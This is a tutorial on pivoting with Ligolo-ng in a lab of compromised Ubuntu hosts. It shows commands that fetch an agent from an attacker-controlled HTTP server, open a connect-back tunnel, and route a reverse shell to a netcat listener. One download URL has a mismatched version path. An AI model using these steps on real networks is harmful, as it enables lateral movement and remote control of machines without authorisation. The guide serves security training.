Skip to main content

Pivoting with Ligolo-ng

Image

Introductionโ€‹

Pivoting is a technique used by attackers to move from one compromised system to another. It is an effective way to move around a network that the attacking machine does not have a direct connection to. It is common to compromise a host that sits on more than one network segment, the attacker must find a way to route traffic from their machine through the compromised host and into the otherwise unreachable internal network.

Ligolo-ng is an open-source pivoting tool that addresses many of the shortcomings and complexities that traditional tools and techniques encounter (Chisel and proxychains). As opposed to operating a SOCKS proxy, which requires per-tool configuration and is incompatible with certain types of traffic, Ligolo-ng creates a TUN network interface on the attacker's machine. Traffic that is destined for the internal network is routed through this interface as if the attacker had a native network connection. This allows all of the standard penetration testing tooling such as nmap, burp and SSH to function without any additional proxy configuration.

In this article I am going to demonstrate a simple pivoting excercise where an attacker sitting on the 192.168.1.0/24 network wants to reach a machine which sits on the 20.20.20.0/24 network. Above is a network diagram that depicts the network of which the attacker (kali) on 192.168.1.76 must navigate to reach his target (ubun02) 20.20.20.2. For the sake of demonstration we will make the assumption that the attacker has already compromised both machines.

How Ligolo-ng Worksโ€‹

Ligolo-ng works on a two-component model:

  • Proxy: The proxy binary runs on the attacker's machine and listens for incoming agent connections, as well as managing the TUN interface.
  • Agent: The agent is a lightweight binary deployed on the compromised pivot host; It establishes an outbound connection back to the proxy and forwards traffic on behalf of the attacker.

Once the agent connects to the proxy, the attacker selects the active session and starts the tunnel. A kernel-level TUN interface is brought up on the attacker's machine, and a route is added pointing the internal subnet through that interface. From that point forward the operating system handles all routing transparently, no proxychains wrapper and no SOCKS configuration in individual tools. Since it operates at the network layer rather than the application layer of the OSI model, it supports ICMP, UDP and raw TCP without any special handling. This makes it significantly more capable than SOCKS5-based alternatives during an engagement.

Target Setupโ€‹

The network diagram depicts how the three machines have been configured, the below screenshots show what this looks like on each of these machines:

Image

Kali machine with eth0 interface 192.168.1.76

Image

ubun01 machine with dual-homed network interfaces ens18 and ens19

Image

ubun02 machine with a single network interface on ens 19 20.20.20.0/24 network

Installation & Setupโ€‹

Downloading the binariesโ€‹

The git repository hosts pre-compiled binaries for all major platforms and the latest versions of each are available on the GitHub releases page. You need to download the appropriate proxy binary for your attacking machine and the appropriate agent bianaries for your targets. As they are pre-compiled, no additional dependencies are required. The latest version at the time of writing is v0.8.3, since our targets are both Ubuntu machines we will be using ligolo-ng_proxy_0.8.3_linux_amd64.tar.gz and ligolo-ng_agent_0.8.3_linux_amd64.tar.gz.

On the kali attacker machine:

# Create a working directory
mkdir ~/ligolo-ng && cd ~/ligolo-ng

# Download the latest proxy and agent for Linux x64 (check https://github.com/nicosmash/ligolo-ng/releases for latest version)
wget https://github.com/nicosmash/ligolo-ng/releases/download/v0.8.3/ligolo-ng_proxy_0.8.3_linux_amd64.tar.gz
wget https://github.com/nicosmash/ligolo-ng/releases/download/v0.7.5/ligolo-ng_agent_0.8.3_linux_amd64.tar.gz

# Extract both
tar -xvf ligolo-ng_proxy_0.8.3_linux_amd64.tar.gz
tar -xvf ligolo-ng_agent_0.8.3_linux_amd64.tar.gz

# Make executable
chmod +x proxy agent

Creating the TUN interfaceโ€‹

You must set up the TUN interface on the attacker machine before the proxy binary is started. This only needs to be done once per session, it will not persist across reboots unless it is added to the startup scripts, however.

# Create the TUN interface
sudo ip tuntap add user $USER mode tun ligolo

# Bring it up
sudo ip link set ligolo up

# Verify it exists
ip link show ligolo

Image

Starting the Proxy & Deploying the Agentโ€‹

Starting the proxy on Kaliโ€‹

After the TUN interface has been configured you can start the proxy. The -selfcert flag instructs the proxy to generate a self-signed TLS certificate automatically, avoiding the need to provision one manually. Once started, the proxy will display its listening address which by default is 0.0.0.0:11601 but can be specified with the -laddr 0.0.0.0:11601 flag. This terminal must remain open, all session management is performed from within this interface.

#Start the proxy on kali using:
ligolo-proxy -selfcert

Image

Transferring the Agent to the Pivot Hostโ€‹

The agent binary must be transferred to the host you are attempting to pivot through, in our case ubun01, by whatever means are available given the access that has been gained. The following example uses a Python HTTP server on Kali.

#Serve the HTTP server (default port is 8000)
python3 -m http.server

#Download the agent binary onto the target
wget http://<attacker_ip>:8000/agent

Image

Image

Connecting the Proxyโ€‹

On the target ubun01 first make the agent binary executable and then run it using the -connect and -ignore-cert flag to suppress the certificate warning generated by the self-signed certificate.

#Make the binary executable
chmod +x agent

#Connect the agent to the proxy
./agent -connect 192.168.1.76:11601 -ignore-cert

Image

Once the agent has been run, the proxy running in kali will immeadiately acknowledge a new connection from the ubun01 target.

Image

Selecting the session & starting the tunnelโ€‹

From within the Ligolo-ng proxy prompt, list the available sessions and select the ubun01 agent and then start the tunnel.

#List available sessions
ligolo-ng >> session

#Start the tunnel
[Agent : test@ubun01] >> start

Image

Configuring the Pivot Routeโ€‹

With the tunnel active, add a route to kali for the internal network. Open a new terminal tab and leave the proxy interface running:

#Add a route for the internal network
sudo ip route add 20.20.20.0/24 dev ligolo

#Verify the route has been added correctly
ip route show | grep ligolo

Image

Pivoting in Actionโ€‹

With the route now in place, all traffic from the attacker's kali machine destined for 20.20.20.0/24 is transparently forwarded through ubun01 via the Ligolo-ng tunnel. No additional proxy configuration is required in any tool. It is possible to test the connection between the attacker's machine and the target on the internal network, as can be seen below, ICMP packets are successfully navigating from 192.168.1.0/24 network to 20.20.20.0/24 network.

Image

Testing ping

Image

Testing nmap

SSH directly to the internal targetโ€‹

With the service version scan from nmap showing that SSH is running on the target, the attacker can SSH directly from kali without any proxy wrapper. A successful SSH connection to a machine which kali has no physical interface on is achievable now.

Image

Routing Reverse Shells back to Kali (Listener Feature)โ€‹

When working deeper into an engagement , it is often necessary to obtain a reverse shell from a machine on the internal network. In this case, ubun02 has no direct connection to kali (it has not route to 192.168.1.0/24), any reverse shell payload must connect to a host it can reach, in this case ubun01. The listener feature intructs the agent on ubun01 to forward connectiosn recieved on a specified port back through the tunnel to a lsitener on kali. This allows reverse shells from ubun02 to land on the kali machine.

Adding a listenerโ€‹

From the proxy console with the ubun01 session active, add a listener that forwards port 4444 on ubun01 to port 4444 on the local kali machine:

#Add the listener
[Agent : test@ubun01] >> listener_add --addr 0.0.0.0:4444 --to 127.0.0.1:4444

Image

Setup a Listener on Kaliโ€‹

#Use nc to listen on port 4444
nc -nvlp 4444

Generate & Trigger a Reverse Shellโ€‹

Use a reverse shell generator like revshells to create reverse shell code, depending on the system you are attacking, there may need to be some trial and error until you find one that works.

Image

After generating the reverse shell code, run it on the ubun02 target.

Image

Once the reverse shell has been executed, navigate back to the listener on kali and notice a reverse shell connection to ubun02 has been captured:

Image